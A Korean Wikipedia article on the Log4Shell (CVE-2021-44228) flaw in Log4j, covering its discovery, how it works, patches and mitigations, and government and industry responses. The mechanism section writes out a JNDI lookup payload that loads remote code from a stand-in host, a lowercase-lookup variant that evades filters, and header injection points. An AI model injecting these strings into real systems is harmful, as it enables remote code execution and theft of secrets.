{{위키데이터 속성 추적}}
{{Infobox bug
| name = Log4Shell<br />로그4셸
| image =
| caption = 
| CVE = {{CVE|2021-44228|link=no}}
| discovered = {{시작 날짜와 나이|df=yes|2021|11|24}}
| patched = {{시작 날짜와 나이|df=yes|2021|12|06}}
| discoverer = [[알리바바 클라우드]] 보안팀의 천자오쥔<ref name="mcafee" />
| affected software = [[Log4j]] 2를 사용하여 사용자 입력을 기록하는 애플리케이션
| website = 
}}
'''Log4Shell''' 또는 '''CVE-2021-44228'''는 저명한 [[자바 로깅 프레임워크]] [[Log4j]]의 [[제로 데이 공격|제로 데이]] [[임의 코드 실행]] 취약점이다.<ref name="lunasec">{{웹 인용|date=2021-12-09|title=Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package|url=https://www.lunasec.io/docs/blog/log4j-zero-day/|access-date=2021-12-12|website=www.lunasec.io|language=en}}</ref><ref>{{웹 인용|title=CVE - CVE-2021-44228|url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228|access-date=2021-12-12|website=cve.mitre.org}}</ref> 이 취약점은 [[알리바바 그룹|알리바바]]의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.<ref name="mcafee">{{웹 인용|url=https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/|title=Log4Shell Vulnerability is the Coal in our Stocking for 2021|date=2021-12-10|access-date=2021-12-12|language=en|work=[[맥아피]]}}</ref><ref>{{웹 인용|url=https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html|title=Worst Apache Log4j RCE Zero day Dropped on Internet|date=9 December 2021|website=www.cyberkendra.com|access-date=12 December 2021}}</ref><ref name="wired">{{뉴스 인용|last=Newman|first=Lily Hay|title=‘The Internet Is on Fire’|language=en-US|work=Wired|url=https://www.wired.com/story/log4j-flaw-hacking-internet/|access-date=2021-12-12|issn=1059-1028}}</ref>

이 취약점은 [[LDAP]]과 [[JNDI]] 요청을 검사하지 않는 Log4j의 특징을 이용하여,<ref name="pcworld">{{웹 인용|title=Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit|url=https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit|access-date=2021-12-12|work=[[PC Magazine]]|language=en}}</ref><ref name="lunasec" /><ref name="technica">{{웹 인용|last=Goodin|first=Dan|date=2021-12-10|title=Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet|url=https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/|access-date=2021-12-12|website=Ars Technica|language=en-us}}</ref> 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다.<ref name="wired" /> 영향을 받는 서비스에는 [[아마존 AWS]],<ref>{{웹 인용|url=https://aws.amazon.com/security/security-bulletins/AWS-2021-006/|title=Update for Apache Log4j2 Issue (CVE-2021-44228)|date=2021-12-12|access-date=2021-12-13|website=aws.amazon.com}}</ref> [[클라우드플레어]], [[아이클라우드]], [[마인크래프트]] 자바 에디션,<ref>{{웹 인용|url=https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition|title=Security Vulnerability in Minecraft: Java Edition|access-date=2021-12-13|work=[[모장 스튜디오]]}}</ref> [[스팀 (서비스)|스팀]], [[텐센트 QQ]]가 포함된다.<ref name="pcworld" /><ref>{{웹 인용|url=https://arstechnica.com/information-technology/2021/12/the-critical-log4shell-zero-day-affects-a-whos-who-of-big-cloud-services/|title=The Internet's biggest players are all affected by critical Log4Shell 0-day|date=2021-12-10|access-date=2021-12-13|website=[[ArsTechnica]]|first=Dan|last=Goodin}}</ref> 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"<ref name="wired" />로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다.<ref>{{웹 인용|last=Press|first=Associated|date=2021-12-11|title=Recently uncovered software flaw ‘most critical vulnerability of the last decade’|url=https://www.theguardian.com/technology/2021/dec/10/software-flaw-most-critical-vulnerability-log-4-shell|access-date=2021-12-12|website=[[가디언]]|language=en}}</ref> Log4j 프로젝트를 맡는 [[아파치 소프트웨어 재단]]은 Log4Shell에 [[CVSS]] 점수 최고점인 10점을 부여하였다.<ref name="security">{{웹 인용|title=Log4j – Apache Log4j Security Vulnerabilities|url=https://logging.apache.org/log4j/2.x/security.html|access-date=2021-12-12|website=logging.apache.org}}</ref>

== 배경 ==
{{본문|Log4j}}
Log4j는 [[소프트웨어 개발자]]가 자신의 애플리케이션 안에 다양한 데이터의 [[로그파일|로그 기록]]을 남길 수 있게 하는 [[오픈 소스]] 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다.<ref>{{웹 인용|url=https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/|title=Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)|last1=Yan|first1=Tao|last2=Deng|first2=Qi|last3=Zhang|first3=Haozhe|last4=Fu|first4=Yu|last5=Grunzweig|first5=Josh|date=2021-12-10|work=Unit 42|publisher=[[팰로앨토 네트웍스]]}}</ref> 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다.<ref name="wired" /> 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 [[아파치 소프트웨어 재단]] 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.<ref>{{웹 인용|title=Log4j – Apache Log4j 2|url=https://logging.apache.org/log4j/2.x/|access-date=2021-12-12|website=logging.apache.org}}</ref>

== 동작 ==
[[JNDI]]는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 [[LDAP]]이 있으며<ref>{{웹 인용|author1=Network Working Group |title=RFC 4511: Lightweight Directory Access Protocol (LDAP) |url=https://datatracker.ietf.org/doc/html/rfc4511 |publisher=International Electronic Task Force |access-date=13 December 2021 |date=June 2006}}</ref> 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.<ref name="cloudflare-graham-cumming">{{웹 인용|last1=Graham-Cumming |first1=John |title=Inside the Log4j2 vulnerability (CVE-2021-44228) |url=https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ |website=The Cloudflare Blog |access-date=13 December 2021 |language=en |date=10 December 2021}}</ref>

기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 <code>${prefix:name}</code> 형태의 식에 문자열 치환을 수행한다.<ref name="cloudflare-graham-cumming" /> 예를 들어, <code>Text: ${java:version}</code>는 <code>Text: Java version 1.7.0_67</code>로 변환될 수 있다.<ref>{{웹 인용|title=Lookups |url=https://logging.apache.org/log4j/2.x/manual/lookups.html |website=Apache Logging Services |publisher=Apache Software Foundation |access-date=13 December 2021 |date=6 December 2021}}</ref> 인식되는 식들 중에 <code>${jndi:<lookup>}</code>가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 <code>${jndi:ldap://example.com/file}</code>는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다.<ref name="cloudflare-graham-cumming" /> 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.<ref name="ducklin">{{웹 인용|last1=Ducklin |first1=Paul |title=Log4Shell explained – how it works, why you need to know, and how to fix it |url=https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/ |website=Naked Security |publisher=Sophos |access-date=12 December 2021 |date=12 December 2021}}</ref><ref>{{웹 인용|last1=Miessler |first1=Daniel |title=The log4j (Log4Shell) Situation |url=https://danielmiessler.com/podcast/news-analysis-no-311/ |access-date=12 December 2021 |date=13 December 2021}}</ref>

[[HTTP]] 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 [[URL]]이나 흔히 로깅되는 [[HTTP 헤더]](예: <code>User-Agent</code>)에 배치시킨다. 초기의 완화 방법에는 "<code>${jndi</code>" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다.<ref>{{웹 인용|last1=Gabor |first1=Gabriel |title=CVE-2021-44228 - Log4j RCE 0-day mitigation |url=https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ |website=The Cloudflare Blog |access-date=13 December 2021}}</ref> 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 <code>${${lower:j}ndi</code>는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다.<ref>{{웹 인용|last1=Hahad |first1=Mounir |title=Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns |url=https://blogs.juniper.net/en-us/enterprise-cloud-and-transformation/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns |date=12 December 2021 |access-date=12 December 2021}}</ref> 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.<ref name="cloudflare-graham-cumming" />

== 완화 ==
이 취약점의 픽스가 취약점이 공표되기 3일 전 2021년 12월 6일 Log4j 버전 2.15.0-rc1에서 출시되었다.<ref>{{웹 인용|title=Restrict LDAP access via JNDI by rgoers - Pull Request #608 - apache/logging-log4j2|url=https://github.com/apache/logging-log4j2/pull/608|date=5 December 2021|website=[[깃허브]]|language=en|access-date=2021-12-12}}</ref> 이 픽스에는 여러 시스템 속성을 사용하여 구성이 가능한 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 것이 포함되었다. 이는 <code>log4j2.formatMsgNoLookups</code> 시스템 속성을 대체하였다. 2.10.0 이후의 과거 버전에서는 취약점을 완화하는데 해당 속성을 <code>true</code>로 설정하는 것이 권장된다.<ref>{{웹 인용|title=LOG4J2-3198: Log4j2 no longer formats lookups in messages by default|url=https://github.com/apache/logging-log4j2/commit/001aaada7dab82c3c09cde5f8e14245dc9d8b454|date=2021-12-05|website=[[깃허브]]|language=en}}</ref><ref name="technica" /><ref name="security "/> 2.10.0 이전 버전의 경우 <code>org.apache.logging.log4j.core.lookup.JndiLookup</code> 클래스를 [[클래스패스]]에서 제거해야 한다.<ref name="security "/>

게다가 JNDI를 사용하는 모든 기능은 2.15.1 이상부터 기본적으로 비활성화된다.<ref>{{웹 인용|url=https://issues.apache.org/jira/browse/LOG4J2-3208|title=LOG4J2-3208: Disable JNDI by default|date=11 December 2021|website=issues.apache.org}}</ref>

새 버전의 [[자바 런타임 환경]](JRE) 또한 원격 코드의 로드를 기본적으로 차단함으로써 이 취약점을 완화시킨다. 다만 다른 공격 벡터가 여전히 특정 애플리케이션에 존재한다.<ref name="ducklin"/><ref name="lunasec" /><ref>{{웹 인용|url=https://www.oracle.com/java/technologies/javase/8u121-relnotes.html|title=Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes|language=en|access-date=13 December 2021|publisher=Oracle|date=17 January 2017}}</ref> 내장된 자바 패키지에서 취약한 log4j 버전의 이용을 검출하는데 도움을 주는 여러 방식과 도구가 게시되었다.<ref name="lunasec-mitigation-guide">{{웹 인용|date=2021-12-13|title=Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)|url=https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/|access-date=2021-12-13|website=www.lunasec.io|language=en}}</ref>

== 반응과 영향 ==
미국에서 [[사이버보안 및 인프라 보안국]](CISA)의 감독 젠 이스털리(Jen Easterly)는 이 취약점을 심각한 것으로 보고 벤더들에게 소프트웨어 업데이트를 우선할 것을 충고했다.<ref>{{웹 인용|url=https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability|title=STATEMENT FROM CISA DIRECTOR EASTERLY ON "LOG4J" VULNERABILITY|date=11 December 2021|work=CISA}}</ref> [[캐나다 사이버 보안 센터]](CCCS)는 단체들에게 즉각적인 조치를 취할 것을 주문했다.<ref>{{웹 인용|url=https://cyber.gc.ca/en/news/statement-minister-national-defence-apache-vulnerability|title=Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action|language=en|date=2021-12-12|work=Government of Canada|확인날짜=2021-12-14|archive-date=2021-12-20|archive-url=https://web.archive.org/web/20211220032436/https://www.cyber.gc.ca/en/news/statement-minister-national-defence-apache-vulnerability|url-status=}}</ref> 독일의 [[연방정보기술보안청]](Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 기관 최고의 위협 수준으로 지정하였고 이를 "극히 심각한 위협적 상황"으로 언급하였다. 여러 공격들이 이미 성공적이었음이 밝혀졌고 취약점의 정도가 조사하기 힘든 상황이라고 보고되었다.<ref>{{웹 인용|url=https://www.tagesschau.de/inland/bsi-schadsoftware-101.html|title=BSI warnt vor Sicherheitslücke|date=12 December 2021|website=[[타게스샤우 (ARD)|Tagesschau]]}}</ref><ref>{{웹 인용|url=https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html|title=Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage|language=de|trans-title=Red alarm: Log4Shell vulnerability causes extremely critical threat situation|date=2021-12-12|work=[[Federal Office for Information Security|BSI]] press service|확인날짜=2021-12-14|archive-date=2021-12-13|archive-url=https://web.archive.org/web/20211213094805/http://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html|url-status=dead}}</ref>

[[클라우드플레어]]의 CEO 매튜 프린스(Matthew Prince)에 따르면 이 취약점의 이용과 테스트의 증거가 적어도 12월 1일로 거슬러 올라가며 이는 취약점이 공개된지 9일 앞선 것이다.<ref>{{웹 인용|last1=Duckett |first1=Chris |title=Log4j RCE activity began on December 1 as botnets start using vulnerability |url=https://www.zdnet.com/article/log4j-rce-activity-began-on-december-1-as-botnets-start-using-vulnerability/ |website=ZDNet |access-date=13 December 2021 |language=en}}</ref> 사이버보안 기업 그레이노이즈에 따르면 여러 [[IP 주소]]들이 웹사이트들을 [[웹 스크래핑|스크랩]]하여 취약점이 있는 서버를 물색하였다.<ref>{{웹 인용|title=Apache Log4j RCE Attempts|url=https://www.greynoise.io/|access-date=2021-12-12|website=www.greynoise.io}}</ref> [[캐나다 국세청]]은 취약점을 이해한 뒤 일시적으로 온라인 서비스를 종료하였고 [[퀘벡 정부]]는 예방 조치의 일환으로서 정부 웹사이트 중 약 4,000개를 폐쇄하였다.<ref>{{뉴스 인용|date=2021-12-12|title=Facing cybersecurity threats, Quebec shuts down government websites for evaluation|work=[[CBC 뉴스]]|url=https://www.cbc.ca/news/canada/montreal/quebec-cybersecurity-threat-government-website-1.6283133|access-date=2021-12-12}}</ref>

시스템 관리자들은 이 상황을 조사하고 라이브러리를 업데이트하거나 시스템 속성을 이용하는 룩업을 비활성화함으로써 가능한 조속히 완화 조치를 단행할 것을 충고받았다.<ref>{{웹 인용|title=Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation|url=https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/apache-releases-log4j-version-2150-address-critical-rce|access-date=2021-12-12|work=CISA}}</ref>

== 각주 ==
{{각주}}

== 외부 링크 ==
* [https://logging.apache.org/log4j/2.x/ Log4j website]

{{2020년대의 해킹}}

[[분류:취약점 공격]]
[[분류:2021년 컴퓨팅]]